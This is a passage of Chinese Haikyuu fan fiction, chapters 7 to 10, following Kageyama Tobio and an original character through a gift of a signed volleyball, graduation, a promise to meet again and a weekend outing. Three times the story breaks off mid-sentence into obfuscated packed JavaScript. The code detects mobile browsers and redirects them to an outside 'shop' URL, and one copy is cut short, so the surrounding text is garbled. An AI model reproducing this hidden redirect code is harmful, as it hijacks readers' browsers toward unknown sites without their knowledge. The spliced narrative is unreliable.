《kgym!你才长得像排球!》 7. 签名排球 和球场隔着一道门，体育馆大厅右边的通道口。 这附近来来往往的人相对少一些，雪村夜芙松开了抓着影山飞雄的手。 墙上挂着的巨大时钟上，时针指向下午四点。 脱离了令人燥热的球场，只穿着队服的影山飞雄忽然觉得有些冷。 毕竟已经是一月末，一年当中最冷的时候了。 雪村夜芙没有过多思考。伸手摘下自己的围巾递到了影山的面前。 影山飞雄小心翼翼抬头看了她一眼，犹豫了几秒后接了过来，小心地一圈一圈围到了自己的脖颈上，和刚才在球场上暴怒的小兽完全是两个人。 围巾上带着雪村夜芙身上的气味和她皮肤的温度，细密的毛线之间还缠着一根红浆果色的头发。 “抱歉……”影山飞雄把脸往围巾里埋下去一点，声音有点闷闷的，对着雪村夜芙道歉。 “为什么要对我道歉？”雪村夜芙歪着头疑惑地望着他。 “我不想的……”在她的目光下，影山飞雄只能选择老老实实说出来：“不想让你看到我这个样子的。” 失控的、乱发脾气的样子——完完全全不想被雪村夜芙知道。 雪村夜芙轻笑一声，还以为影山飞雄真的意识到了自己做得不对的地方。 结果居然只是不想被她看见吗？ “你知道我第一次见到你的时候，你是什么样子的吗？” 雪村夜芙陷入回忆缓缓说着，“你在被教练训话哦。” 影山飞雄缩了缩脖子，很想装听不见。 明明每次他在雪村夜芙面前，都很努力维持着“我可是打排球的天才啊”这样的形象，还说过雪村夜芙打球打很烂这种话……所以其实，自己的人设最开始就已经在雪村那边塌掉了吗？ “然后是我们第一次说话。”雪村夜芙继续说着，“这个你应该记得吧？” 影山飞雄点了点头，很快想了起来。 那时候他也因为同样的问题，甚至直接被教练换下了场，然后一个人躲很远当鸵鸟。 影山飞雄回忆起这些自己留给雪村夜芙的初印象，只觉得天都要塌了。 “没关系的。”回忆结束，雪村夜芙扬起了脸对影山飞雄认真地说着。 “这些都是没关系的。” “赢球也好输球也好，被夸赞还是被训斥，都没有关系。” 影山飞雄很认真在听雪村夜芙说话，忽然觉得她的声音像绕在他脖颈上的围巾一样，大概是很温暖的意思。 雪村夜芙深吸一口气，若有所思地说着：“虽然不知道到底哪一场比赛，你才能一路赢到最远。” “就像我也不知道，什么时候我才能像个真正的主攻手一样。” 二年级的比赛，她参与了其中的三分之一，但是成绩却都并不理想，她也全都能接受，并且仍然期待着好好赢一场的那天的。 “但是我知道，只要坚持下去，在未来的某个瞬间，转机一定会出现。” “喂，影山飞雄。”雪村夜芙直视着他的眼睛，“你一定会遇到一个最好的队伍，成为最好的二传手的。” “就像我一样，我也会的。” 雪村夜芙抓住影山飞雄的手，满眼都是希冀地重复道：“虽然不知道到底是哪一天，但是一定会有那么一天的。” 影山飞雄感觉着手心的温度，也看向了面前的女孩子，然后用力地点了点头。 仔细观察着影山飞雄的眼神，确定他真的被哄好了的雪村夜芙松了一口气，才想起了自己来体育馆的初衷。 “对了，这个。”雪村夜芙弯下腰把背包放在地上，打开拉链，取出那个用崭新球袋装着的排球。 “本来打算当作毕业礼物送给你的，但是……”雪村夜芙欲言又止。 接下去的时间，作为毕业班的学生会有很多的事情。就算是影山，估计也要将重心暂时放在学业上，忙于参加各种考核和入学考试。 影山毕业以后，他们就没办法再一起训练了。 她无法不去担心“他们的交集或许会就此终止”这件事，所以才想着把礼物在今天就送出。 影山没有逼问她没说出口的后半句话，而是小心翼翼地打开那个球袋。 球袋里，是雪村夜芙拜托哥哥收集的巴西男排队员的签名，他们是上一届世锦赛的冠军队伍。 雪村远岱很用心，连球本身也和赛场上的规格一模一样。 “是……巴西队的签名。”影山飞雄结结巴巴地说着。 他这样的排球痴，对于世界级强队的了解如数家珍，一眼就看了出来这上面的签名是谁。 “嗯！”雪村夜芙开心地应着，带着“我就知道你肯定很喜欢”的表情明知故问：“你喜欢吗？” 影山飞雄点头。在雪村夜芙面前，他总是在点头，像某种听话的小动物。 要是北川第一的队友看到这样子的影山飞雄，大概整个世界观都会崩塌。 “喜欢，很喜欢。”小心翼翼收起签名排球，甚至不舍得将它拿出来，影山飞雄看向雪村夜芙说着喜欢。 影山飞雄忽然有了一种很强烈的想法，这种想法在过去显得不够清晰，但是在今天彻底被明确了。 他想要站在世界的舞台上。 然后如果可以的话，把那颗陪他一起被聚光灯笼罩的排球送给雪村夜芙，作为他今天收到的这颗球的回礼。 “我一定会努力的！”影山飞雄忽然这么说了一句。 雪村夜芙弯了弯嘴角，正要再说些什么，一个熟悉的声音出现在了身边。 “夜芙？你不是说来看比赛吗？” 雪村成在公司结束了回会议，听说女儿今天会来体育馆看比赛，临时决定过来接她回家。 “啊……爸爸，那个，比赛已经结束了……” 雪村成站到了雪村夜芙身边，看到那个签名排球已经被面前这个男孩子的拿在了手里，心里有了几分了然，落在了影山飞雄身上的目光带上了几分不客气的审视。 抢走他女儿注意力的小子…… 影山飞雄在得知面前穿着西装的男人的身份后，当场就没呼吸了，仿佛突遭雷击。 雪村的……父亲？！ 他要怎么表现……要说些什么吗……等等……他好像动不了了…… 雪村成收回目光，对着雪村夜芙说：“既然看完了那就该回家了，走吧。” 雪村夜芙点了点头，转头催促影山飞雄：“估计快要集合了，你也回去吧？” 恰好北一的助理教练出来找他们。 “那个，影山同学……” 雪村夜芙挥了挥手，跟着雪村成离开了。 回程的车里，雪村成一边开车，一边从后视镜看着自己的女儿。 雪村夜芙坐车很容易犯困，这会儿眼睛已经快闭上了，雪村成看着她的样子无奈地欲言又止。 一辆消防车鸣笛而过，雪村成靠边避让，鸣笛的声音将雪村夜芙吵醒。 雪村成连忙装作随意地问起：“夜芙，那个你送他排球的男孩子……他马上就要从北一毕业了是吗？” 雪村夜芙还有些迷糊，下意识地点了点头。 “他打算升学去哪所高中呢？” 雪村夜芙想了想说：“应该会去男子排球最厉害的学校吧，唔……白鸟泽？” “这样啊。那夜芙你呢，想去哪所高中？” 雪村成心想着，夜芙要是敢跟着那小子选升学高中，他就、他就…… “我也要去打排球最厉害的学校，不过是女子排球。” 雪村夜芙头一次思考这个问题，皱着眉头说着：“但是白鸟泽的女排并不是县内最强的。” 雪村成松了一口气，随后试探着说：“女子排球最厉害的学校，或许不在宫城啊。” 雪村远岱在之前的电话找他谈话，就是向他提议了几所东京的高校。 雪村夜芙愣了愣，睁大眼睛看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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鹿目佑树眼睛亮闪闪的，抬起头对影山飞雄说：“我以后拿了世界冠军也要在排球上签名！” 影山飞雄：“……” 他刚才是不是也这么想的，还大言不惭地对雪村夜芙说什么会努力之类的话。 这小子干什么抢他的台词啊！ 但是被鹿目佑树这么一闹，车内的气氛缓和了很多，坐在前后排的队员先探头，后来别的队员也都选择性忘掉赛场上的不愉快凑了上来。 “给我看看！” “啊我先过来的让我先看啊！” “为什么没有女孩子送我签名排球啊？！” 少年们传着这颗球打闹成一团，心里都有着这样或那样的关于排球的梦。 而影山和他们之间的坚冰，忽然间就好像碎开了。 影山飞雄紧张地看着自己不舍得碰的签名球被传来传去，生怕有人把它弄坏。 好在大家都很小心，根本没有让那颗球落地。 有队员下意识地将手搭在了影山飞雄的肩上，而一旁鹿目佑树不顾影山飞雄的死活，开始向他聊起雪村夜芙。 “是那个红头发的女孩子吧？是学姐吗？学姐好好看！” “说起来我有看过她打排球诶……” “居然会送影山前辈礼物，我也好想收到啊……” “啊？等一下！这个围巾难道也是礼物？！” “影山前辈，你可以把我介绍给她认识吗？” 其他的话影山都选择了保持沉默，只有这句他听了有点莫名的不爽，于是下意识脱口而出，“不可以。” “什么啊，为什么啊？” “……” 虽然中间确实出现了不愉快，但是影山飞雄在北一的排球生活，仍然画上了不算太糟糕的句号。 马上，就要毕业了啊。 8. 下次见面的约定 黄昏，排球从网的这边以斜线飞往对侧的一角。 击球完毕，雪村夜芙轻巧地跳跃落地，原本白净的球鞋上已经变得有些灰扑扑的了。 “Ok，二组休息，一组训练赛准备。” 雪村夜芙擦了擦脸上的汗，走到了场外，一边喝水一边回想着刚才顺利打出斜线球的手感。 要是影山在就好了，雪村心想着，让他见识一下她的巨大进步，说不定会吓到呢。 她正这么想着，影山飞雄就气喘吁吁地出现在了体育馆门口。 在馆内搜寻了一秒，影山就找到了想找的人。 跑到了雪村夜芙面前，他手里捏着的是自己的入学通知书。 “乌野，”影山飞雄耳垂微红，“我要去乌野了。” 他刚收到录取通知书，下意识地就想分享给雪村夜芙。结果这时候说完，才觉得自己好像有些莫名其妙。 而且县内如今排球实力最强是白鸟泽，但是他却没有考上。 雪村会不会觉得他太笨…… “啊，真的吗？” 雪村夜芙惊喜地放下水壶，伸手去拿影山飞雄手里的录取通知书。 “我知道这个学校啊！” 雪村夜芙翻看着通知书，全然没注意到影山的担忧：“之前听我哥说过的，这是个很强的学校吧？” “据说还有过一个在全国大赛上被称为‘小巨人’的很厉害的选手！” “能去乌野也太好了！”雪村夜芙扬了扬手中的录取通知书，然后笑着说。 影山飞雄如释重负，也跟着点了点头。 今天过后，毕业生就该离校了。 雪村夜芙压下心底的失落，将录取通知书还给了影山飞雄，故作高兴地说道：“既然忙完了升学，今天也陪我训练吧？” “感觉你的发球还挺厉害的，快教我。” “啊？哦……好。” “雪村，集合了啦！” 女排那边的队员叫她。 雪村夜芙应了一声，不得不暂时离开。 “等我一下。” 影山飞雄点点头，顺手拿起她的水壶，在球场外找到了雪村夜芙的背包，老老实实坐过去等她。 他已经很久没有坐在场外看别人打球了，自从及川前辈毕业以后，他一直都是正选。 影山飞雄在位置上坐好，然后往球场上看了过去。 雪村夜芙她们的训练还没结束，要继续打队内训练赛。 影山飞雄的目光落在那个红浆果发色的身影上。 但只看了两分钟，影山飞雄就觉得自己的血压直线升高。 这个击球角度……这个起跳时机……这个反应速度…… 影山飞雄目瞪口呆。 原本以为雪村夜芙的基础训练已经还算勉强过关，毕竟他们两人一起加练了很多次。但是看到她打比赛的表现，影山飞雄简直不敢相信自己的眼睛。 不愧是雪村，还是曾经那个排球笨蛋——影山飞雄心想着，所以到底要怎么样才能拯救她糟糕的排球水平啊？ 连影山飞雄自己都没有意识到，他终于开始反省在过去的团队合作里完全没有反省过的问题——比如是不是对自己的队友太苛刻了这种事。 而在队友的位置换上雪村夜芙的话，影山飞雄下意识就学会去思考该怎么配合或者引导她了。 雪村夜芙全然不知影山飞雄内心的各种想法，排球现在对她来说，只是一件摸到就会开心的事。 发丝和衣摆都随着风微微扬起，影山飞雄的目光一直追逐着她的身影。 便利店的门被两只手一左一右的推开。 左边是影山飞雄，右边是雪村夜芙，两个人都不服输地比谁先进到便利店里面。 两个人互相推搡着，第不知道多少次一起狼狈地同时挤了进去。 结果还是影山飞雄仗着腿更长一点，三两步走到收银的小姐姐面前，顺便把雪村夜芙挡在了身后，然后付掉了两盒牛奶的钱。 小姐姐笑眯眯地看着他们两个，贴心地从保暖柜拿出温好的牛奶递了过去：“拿好哦。” 走出便利店，雪村夜芙有些气愤地把吸管插进饮料孔。 这两年来，她和影山抢着付账从来都没有赢过。某个人在这种时候，把自己的身高优势运用地相当彻底啊。 影山飞雄右手推着自行车，仅仅靠一只左手拆吸管这种事，已经熟练地和传球一样了。 雪村夜芙其实是个很会麻烦人的女孩子，而且对方如果越是有好感的人，这个症状就会越严重。 结果遇到“只对和排球有关的事敏感”的影山飞雄之后，后者就这样完全没有察觉到不妥地替她推了两年的单车。 但是今天，大概是最后一次有人帮她推车了吧？ 雪村夜芙忍不住去想，他们以后真的都不会再见面了吗？ 一想到今天说不定就是他们最后一次见，雪村夜芙感觉喝到嘴里的牛奶是苦味的。 略有些烦躁地踢着路上的石头，这样的心事，她完全不知道该怎么说出来。 影山飞雄也不知道为什么走得慢吞吞的，像是试图在这种季节里从地上找出一只外出觅食的蚂蚁。 冬季的天黑得很快，路灯一盏盏从前方依次亮了起来，橘色的光打在他们的侧脸上。 他们顺路能一起走的路并不长，眼看着路口就在前面，雪村夜芙深吸一口气，努力打起精神来，笑着说：“喂，影山同学——我以后会不会在杂志上看到你啊？” “排球月刊……或者情热大陆什么的？” 不等影山飞雄回答，她就自顾自继续讲下去：“然后到时候我的排球还是打得很烂的话——” 雪村夜芙忽然转身，一边后退着走路，一边看着影山飞雄说：“我就在杂志上指着你的照片和他们说……就说我的排球是你教的。” 影山飞雄呼吸一窒，在雪村夜芙的眼睛里看到了自己的影子。 “然后他们就会很惊讶地说，‘这么厉害的人，怎么教出来你这样的排球笨蛋啊哈哈哈’。” 雪村夜芙说完，自己忍不住弯腰笑出了声。 影山飞雄看着面前的女孩子，并没有跟着笑，而是紧紧抿着唇。 不知道为什么他觉得一点都不好笑，甚至感觉心脏和胃都有些难受。 在不被注意的地方，前方的路面忽然多出了一个凹坑。 雪村夜芙毫无所觉，然后在后退的时候一脚踩空。 她失去平衡，不由自主地往地上摔去。 影山飞雄的双眼在瞬间睁大。 仿佛出自本能的，牛奶盒子和单车都在刹那间被扔掉，影山飞雄向着雪村夜芙飞奔过去，但是已经来不及用手拉住她了。 时间仿佛在这一瞬定格，影山飞雄看清了雪村夜芙并没有笑意的眼神。 原来明明她在说刚才那种话的时候，也没觉得很好笑，偏偏要装出开心的样子。 影山飞雄第一次有些生她的气。 而在排球之中，有一种为了救球会去做的动作，叫做“鱼跃”。 这是影山飞雄现在选择去做的事情。 他不遗余力的、就像努力去救那颗即将落在场内的排球一样拼尽全力，试图让自己的身体成为她的落点。 排球在接近地面一厘米的地方，是有可能被强大的自由人用手背接起的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12986105|137059||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 影山飞雄也可以在雪村夜芙即将摔在地上的半秒内，用自己的后背隔开她和坚硬的地面。 于是预想中的疼痛没有出现，雪村夜芙感觉自己落在了一个柔软的地方。 愣了愣，她终于反应了过来。 手忙脚乱地从影山飞雄的背上爬了起来，雪村夜芙立刻去检查他的状况。 把天才二传手压死了这种事，明天一定会上宫城新闻头条的啊。 “你还好吗？”雪村问。 “有没有受伤？”影山问。 异口同声的，两个人起身的第一反应都是去确认对方有没有事。 好在作为爱好排球的两人，护膝都牢牢佩戴在身上。除了影山的手略微有些破皮，其他都没有异样。 雪村夜芙还有些心有余悸，蹲到地上把自己的背包翻得乱七八糟，找出了一张消毒湿巾。 但是影山飞雄过去扶起了倒在一旁的自行车，已经完全是一副没事的样子了。 抬头看了看天色，影山飞雄说：“走吧。” 要不然，雪村的家人该担心了。 犹豫了一秒，手里的湿巾没有递出去，雪村夜芙点了点头。 经历了短暂的插曲，分开的路口很快就到了。 努力装出平静的样子，雪村夜芙像过去一样从影山飞雄手里接过单车，然后和他告别。 转身，脚踩到单车的踏板上。 影山飞雄点了点头，看着雪村骑着车离开。 他习惯性地想拿出准备好的饭团吃掉，但却一口都吃不下去。 雪村夜芙骑着车的时候，感觉今天的风很重，因为打在脸上有些疼。 所以她的鼻子和眼睛，都有些痛。 一定是因为风。 才不是因为和影山飞雄分开这种事。 但是如果毕业就意味着失去朋友，她难过也是没有关系的吧？ 明明，明明一起训练了这么久。 就算是习惯，一下子完全不做了的话，也会沮丧吧。 影山他，会不会也这么想过呢——雪村夜芙很想知道这个问题的答案，但就算她国文学得再好，也始终想不出到底要怎么措辞去问。 她只能一直骑车往前。 “等一下！” “等一下！雪村……雪村同学！” 不顾路人惊讶的目光，在雪村夜芙于下一刻路口转弯之前，影山飞雄到底还是追了上来。 并且在叫她的名字。 雪村夜芙停下了车，有些不可思议地回头去看。 影山飞雄手里握着拆开却没有吃的饭团，喘息着向雪村夜芙跑来，站到了她的面前。 迎着雪村的目光，影山飞雄张了张嘴，试了好几次后终于说出了口。 “我们……我们下次，什么时候、在哪里见面？” 除了和排球有关的事情之外，影山飞雄从未这么迫切过。 迫切地想得到一个约定，甚至不惜找出一些很奇怪的借口。 “我今天看到了，你的排球还是打得……挺糟糕的。” “所以，你还是需要我的……需要我和你一起训练，对不对？” 影山飞雄忐忑地说完，等着雪村的回答。 他下意识的不希望这是最后一面，想要下次见面的机会。 雪村夜芙愣了愣，鼻子忽然很酸很酸。 原来就算毕业，他们也不会走散啊，这真是……太好了。 她将单车靠在路边的矮灯上，然后转身面对影山飞雄，忽然走上前轻轻抱了他一下。 不是最后一面，他们还能继续出现在彼此的命运里。 真是太好了。 9. 幼稚的周末 宫城，市民活动体育中心的排球场。 影山飞雄和雪村夜芙分隔在网的两边。 前者游刃有余地把球打到心中预设的位置，后者在整个场地四处乱窜狼狈地接球。 和之前不同，今天的雪村夜芙累到根本顾不上说话，结果话多到说不完的人变成了影山飞雄。 进入乌野以后，似乎遭受到了比之前还要重大的挫折，影山飞雄居然也有崩溃到需要找人倾诉的一天。 “我完全搞不懂，那个矮个子到底在害怕什么啊？” “轮到他发球的时候，那个球就这么冲着我的后脑勺砸过来了。” “……但是力度那么低，那种也能叫发球吗？” “简直是排球笨蛋。” “速度很快跳得很高但一点用都没有的笨蛋。” 又把手里的球打到了对角线上，影山飞雄看了飞奔中的雪村夜芙一眼，然后补充道：“球技比你还要糟糕。” 雪村夜芙起初还搭话，后来变成了“嗯嗯嗯”，再后来听到这里已经完全不想干了，气喘吁吁抄起球当作是影山飞雄的脑袋狠狠往他本人那边丢了过去。 影山飞雄根本没发现雪村的情绪，靠本能把球接起来后又打了回去，皱眉头纠正道：“不可以持球。” 雪村夜芙无语地又追着球跑。 而影山飞雄还在继续控诉。 “对了，那里还有一个说话很难听的一年级的家伙……” 算了，看在他是在陪自己练接球的份上，算了，忍一忍。 雪村夜芙木着一张脸安慰自己。 等到春日正午的太阳直直照下来的时候，雪村夜芙终于耗完了所有的精力，毫无形象地一屁股坐到了地上。 影山飞雄看她停了下来，也暂时收起了球，走到球场附近的自动贩售机边上买了两瓶水后又走回来。 把其中一瓶递给雪村夜芙，影山飞雄在她身边坐下。 雪村夜芙抬头猛灌了一口，才终于感觉活过来一点，再次有了说话的力气。 “我说你啊，”雪村夜芙开口就带着肆无忌惮的抱怨：“这些话你对着你的队友去说啊，跟我讲有什么用啊！” “你觉得他们打得烂，那就告诉他们哪里烂不就好了？” 她算是发现了，影山飞雄在不熟悉的人面前，真的很不会表达自己的意图啊。 初中三年时间，他都没有和北一的队员沟通成功过。如果还是保持这种状态继续下去，那高中三年难道也要这样不愉快地结束吗？ 到底谁才是真正的笨蛋！ 影山飞雄把头一偏，嘴硬说着：“不要。” 又怕惹雪村夜芙生气，小声地补充道：“我跟你说不就好了。” “但是我不能和你在同一个球场上打球啊。”雪村夜芙抓了抓头发，很想撬开他的脑袋看看里面除了排球攻略以外还有什么。 “要跟你打配合的是他们不是我哎！” “你不讲出来的话，到底要怎么配合啊？心电感应吗？连话都讲不清楚，你和他们能有那种东西吗？” 影山飞雄这会儿噤了声，仰头咕噜咕噜往嘴里灌水，假装没听到，避开雪村夜芙的质疑。 雪村夜芙被气笑了。 不远处的湖边草坪上，有很多小朋友挎着零食包牵着手结伴游玩。 雪村夜芙在心里默默吐槽，影山飞雄的情商都不一定有这些小朋友高。 等等……她想到办法了。 “饿了，去吃饭！”雪村夜芙一口气喝光瓶子里的水，站起来说着。 “哦。”听到要吃饭，影山飞雄这时候又活过来了。 雪村成在活动中心的餐厅替他们订好了午餐，是雪村夜芙很喜欢的咖喱猪排饭配温泉蛋，没想到影山飞雄也很喜欢，吃饭的速度快到让人惊讶。 雪村夜芙刚刚把碗里的青豆和玉米全都挑了一边，甚至替它们分好了位置，准备用勺子放心挖的时候，影山飞雄已经放下了碗。 “不吃青豆和玉米吗？”影山飞雄奇怪地问。 “不吃。”雪村成不在的时候，讨厌吃的东西通通不吃，雪村夜芙才不要委屈自己。 “……好像不太好。” “要你管。” 吃完饭后休息了一阵子，雪村夜芙并没有直接往排球场走去，而是拉着影山飞雄走到了附近的超市里。 把手推车往影山飞雄手里一塞，后者就老老实实开始充当智能购物篮。 “巧克力……不行，搞不好过几天太热化掉。” “雪糕也不行……” “啊，苏打饼干可以！” 呼啦一下，十几袋小饼干被丢进手推车里。 雪村夜芙走在影山飞雄前面，在各个货架之间选来选去。 “哇，KIKI的新口味气泡糖！” 啪哒，丢进来好几盒。 最后是GUGU牛奶的特供货架，雪村想也不想拿了五六个口味的牛奶。 影山飞雄终于忍不住提醒道：“喂，一下子喝这么多会拉肚子的吧？” 雪村夜芙翻了个白眼，没有理睬他。 终于拿的差不多了，影山飞雄推着车去结账，雪村夜芙凑过去戳了戳他的胳膊，问：“喂，影山。你有没有带够钱啊？” 影山飞雄“嗯”了一声，眼里透出有钱付账的自信。 知道他每个周日都要陪女孩子外出，影山飞雄的零花钱在姐姐的提议下涨了不少，并且再次被严肃地教育过了。 “你这样的木块有女孩子答应和你外出已经很不容易了，”影山美羽语重心长地对自家弟弟说，“要绅士一点，主动埋单开瓶盖拿东西开车门走路走外侧懂吗？” 虽然影山飞雄感觉自己明明都做到了，但是有时候雪村夜芙还是会被他气到跳脚。 女孩子真难懂。 看影山飞雄自信满满地去付账，雪村夜芙于是没有插手。 “一共是两千七百元。”店员熟练地计算好，并且帮忙将零食装了起来。 影山飞雄拿出钱包，选出三张 1000 元的纸币，又找出几个 500 元和 50 元的硬币，眉头一皱，权衡着要给出去哪些。 他对数字有时候也不是很感冒。 虽然是念高中的人了，结果付钱还要思考，偏偏周末活动中心的人又很多，大家都排着长队看影山飞雄正在计算中。 雪村夜芙捂着脸从他手里抽出两张纸币和五个硬币付掉账单，然后提起东西推着他赶紧往外走。 “谢谢光临，慢走哦。” 等走到超市外面，影山飞雄下意识把袋子接了过去。 这些零食还是有一些重量的，也不知道雪村怎么突然这么好胃口，他心想着。 还没走多远，他们身后忽然传来声音。 “夜芙——”从超市里挤出来一个带着鸭舌帽的短发女孩子。 雪村夜芙回过头，看到了竹取加野正冲着她招手。 “你怎么也在这啊加野。”雪村夜芙顾不上影山飞雄，立刻跑了过去。 影山下意识跟了过去。 “你说你周末都在练球，我就猜到大概是在这边啦！结果刚在买饮料就看到你了！” 竹取加野带着小得意说着，“我特地过来碰 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12986106|137059||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 运气找你的哦。” 竹取加野身后还跟着另一个很高的男孩子，是和竹取从小一起长大的青梅竹马，雪村夜芙在念小学的时候就认识了竹取，然后顺带知道了黑川峻的存在。 因为只要是竹取加野在的一百米内，黑川峻也必定会在就对了。 “黑川峻。”那个看上去比影山还要沉默地男孩子，主动先向影山飞雄伸出了手。 “呃……影山飞雄。” “一起去玩吧？” 竹取加野抱着雪村夜芙的胳膊说着，“要劳逸结合才行啊，玩一会儿再去练球吧？” 两个女孩子走在前面，黑川峻极度自然地跟在了她们身后，对他来说，这种已经是多年形成的习惯。 雪村夜芙转头问影山飞雄：“下午有事吗？要不要一起——” 影山飞雄余光看了一眼黑川峻，很确定地摇头：“没有事。” 雪村夜芙的爸爸今天中午还替他付账买了午饭，影山觉得自己得帮忙看顾一下，比如盯着这小子什么的。 雪村夜芙嘴角弯了弯，心情不错地走在前面。 活动中心不久前刚刚翻新扩建过，多了很多新的设施。 竹取加野很久没有来这边，到处都要去看。 而她们身后，黑川峻忽然问影山飞雄：“你是雪村的男朋友吗？” 影山飞雄一下子没听清，转头看向黑川的时候，对方真诚地又问了一遍：“你是雪村的——” “不啊……当然不是！” 影山飞雄倒退了两步，感觉整个人都要烧起来了。 “哦。”黑川若有所思，没有再问。 这一会儿，雪村和竹取已经到了一处新建的游乐场。 竹取指着里面的双人碰碰车超兴奋地讲：“我想要玩那个！” 黑川听见后，自觉地过去买票。 雪村夜芙第无数次感叹黑川一定欠了竹取家很多钱。 然后蹭到了影山飞雄身边问他：“好像有点幼稚哦？所以要不要一起玩？” 影山飞雄看着她亮亮的眼神，迟疑着点了点头。 黑川很快买好了两张票，交给工作人员后去游乐场入口等来了两辆空车，向着他们招了招手。 这算是个很好玩的赛车游戏，两个人分别用两个方向盘操控同一台橡胶车。 如果没有默契的话，可想而知一定会很出糗。 影山飞雄暂时还没有考虑到怎么赢这个游戏的问题，他的大脑高速运转在想另一件事。 已知雪村夜芙和竹取加野是好友，而黑川和她们都是认识的关系。 那么这种游戏的话，应该是雪村和竹取一组，剩下他和黑川一起了。 看到黑川已经先坐进了一辆空车里，影山飞雄自信满满要坐到他身边。 ——然后被黑川伸手拒绝了。 黑川像是看傻子一样看他。 影山飞雄的身后，雪村夜芙这次是真的笑得直不起腰：“你居然想把他们两个分开啊？” “拜托，我长这么大，这种事情上就没见过他们两个不在一起好吗？” “不要想着插足他们这种究极‘幼驯染’组合了啦。” 雪村夜芙笑着上前把影山拉开，竹取加野有点脸红地坐到黑川身边。 “啊啊啊雪村你不要再笑了！每次都要笑！” “还有你！黑川！” 和黑川沉默的外表不同，在维护自己竹马地位这一点上，黑川真的很专业。 看了雪村夜芙一眼，黑川简洁地对竹取说：“等下把他们撞飞好了。” 雪村夜芙完全笑不出来了。 10. 零食袋 竹取加野和黑川峻，是从出生开始就在一起的幼驯染啊。 雪村夜芙认识他们之前，这两个人就已经当了好久的连体人了。 预计得没错的话，这对青梅竹马的默契值能秒杀一百个她和影山飞雄的组合。 但是气势不可以先输。 雪村夜芙爬进后面那部橡胶车，扬了扬下巴对着影山飞雄说：“上来啦。” 影山飞雄同手同脚地走了过去，挨着雪村夜芙坐下，很接近的距离让他有一点手足无措。 于是游乐场里，忽然进来了两辆截然不同的车子。 竹取和黑川操控着的橡胶车完美绕过所有障碍和弯道，而入口处，雪村夜芙和影山飞雄已经把能撞到的障碍物全都撞过一遍了。 “右边啊，往右边啊！”雪村夜芙大喊着眼睁睁看着车子往左一头撞到了墙上。 “我……我有在往右啊……” “你肯定弄错了啦！不然为什么还会撞上啊？！” 影山飞雄怀疑地看了看自己手里的方向盘。 而好不容易熬过了入口的新手关卡，那边的幼驯染组合已经在等着他们了。 全完了。 “左边左边左边……” 雪村夜芙嘴上碎碎念着，然后和影山飞雄再次完美配合不上，她顺时针转方向盘，后者逆时针转方向盘。 他们的车子在原地左右为难的时候，被毫不留情地撞进了边上的沙包里。 游戏结束。 影山飞雄在把雪村夜芙扶起来的时候到底还是忍不住问她：“你不是说左边吗？” 结果明明转向右边了吧？！ 雪村夜芙愣了一愣，想起来了自己手口不一的操作，有些不好意思地开口：“偶尔有时候确实不太分得清楚左右啊哈哈哈哈哈……” 所以在最开始的时候，好像也是她弄错了哦？ 结果影山还被她蛮不讲理地指责了。 雪村夜芙想到这里，扬起脸冲他讨好地笑了笑，企图蒙混过关。 ……笨蛋！倒打一耙的笨蛋！ 但是因为面对的是雪村夜芙，影山飞雄还是忍了下来。 周末的时间总是过得很快。 活动中心的广场上，在分开之前，影山飞雄将零食袋递给雪村夜芙，被后者一把塞进他怀里。 看着影山飞雄疑惑的目光，雪村出于刚才坑到他的歉疚，选择对他进行紧急EQ教学。 “这些零食你明天带去乌野，分给排球部的大家啊。”雪村指了指他怀里的袋子。 “就算学不会好好讲话，也得让大家知道你其实并不是真的恶劣才行，那就只能做给他们看了。” “……总之，分给他们零食的时候不会说话就不要多说了，直接说一句‘不客气’一定不难吧？” 雪村夜芙指了指手牵手路过他们身边的小孩子们，“就像他们一样分享零食就好了啊，这是小朋友都能做到的事哦。” 影山飞雄抱着零食袋，心底无比想拒绝这个提议，却被雪村夜芙最后那句这是“小朋友都能做到的事”给堵回去了。 他只好低头踢飞一块石子，有些不情愿地应下了。 广场另一边，和雪村夜芙一个方向回家的竹取和黑川在等她。 “那再见啦。” 影山飞雄抬头，提醒道：“下周日……” “知道啦，九点钟在这边的球场见！” “……” 第二天，乌野排球部。 黑着脸的影山飞雄手里拿着零食，递到大家面前的时候，脸上的表情仿佛是在接受某种拷打。 乌野的队员集体沉默了。 死寂了好一会儿，还是菅原首先出来帮忙打圆场。 从影山手里接过一盒气泡糖，菅原笑着说：“影山同学其实真的是很细心的人吧，那我就不客气啦。” “大家不要辜负影山的心意啊。” 泽村和清水也很给面子地过来选了一两样。 “诶？这个气泡糖很好吃啊。”菅原很努力地在帮他助攻。 影山飞雄从小到大没有做过这种事，只感觉到无比的怪异，但是好在目前为止还算顺利…… 但是最麻烦的果然还是那几个和他同年级的笨蛋吧？ 等到二三年级的前辈都捧场地选过了零食，影山飞雄僵硬地转向了日向他们，脑子里不断回忆着某人的叮嘱，然后脸上挂上了令人毛骨悚然的笑容。 日向翔阳前不久才对影山的后脑勺做过令人窒息的事，看到他这副样子不由地倒退了三步，惊恐地问：“你……你想干嘛啊？” 是要报复他吗？一定是的吧？ 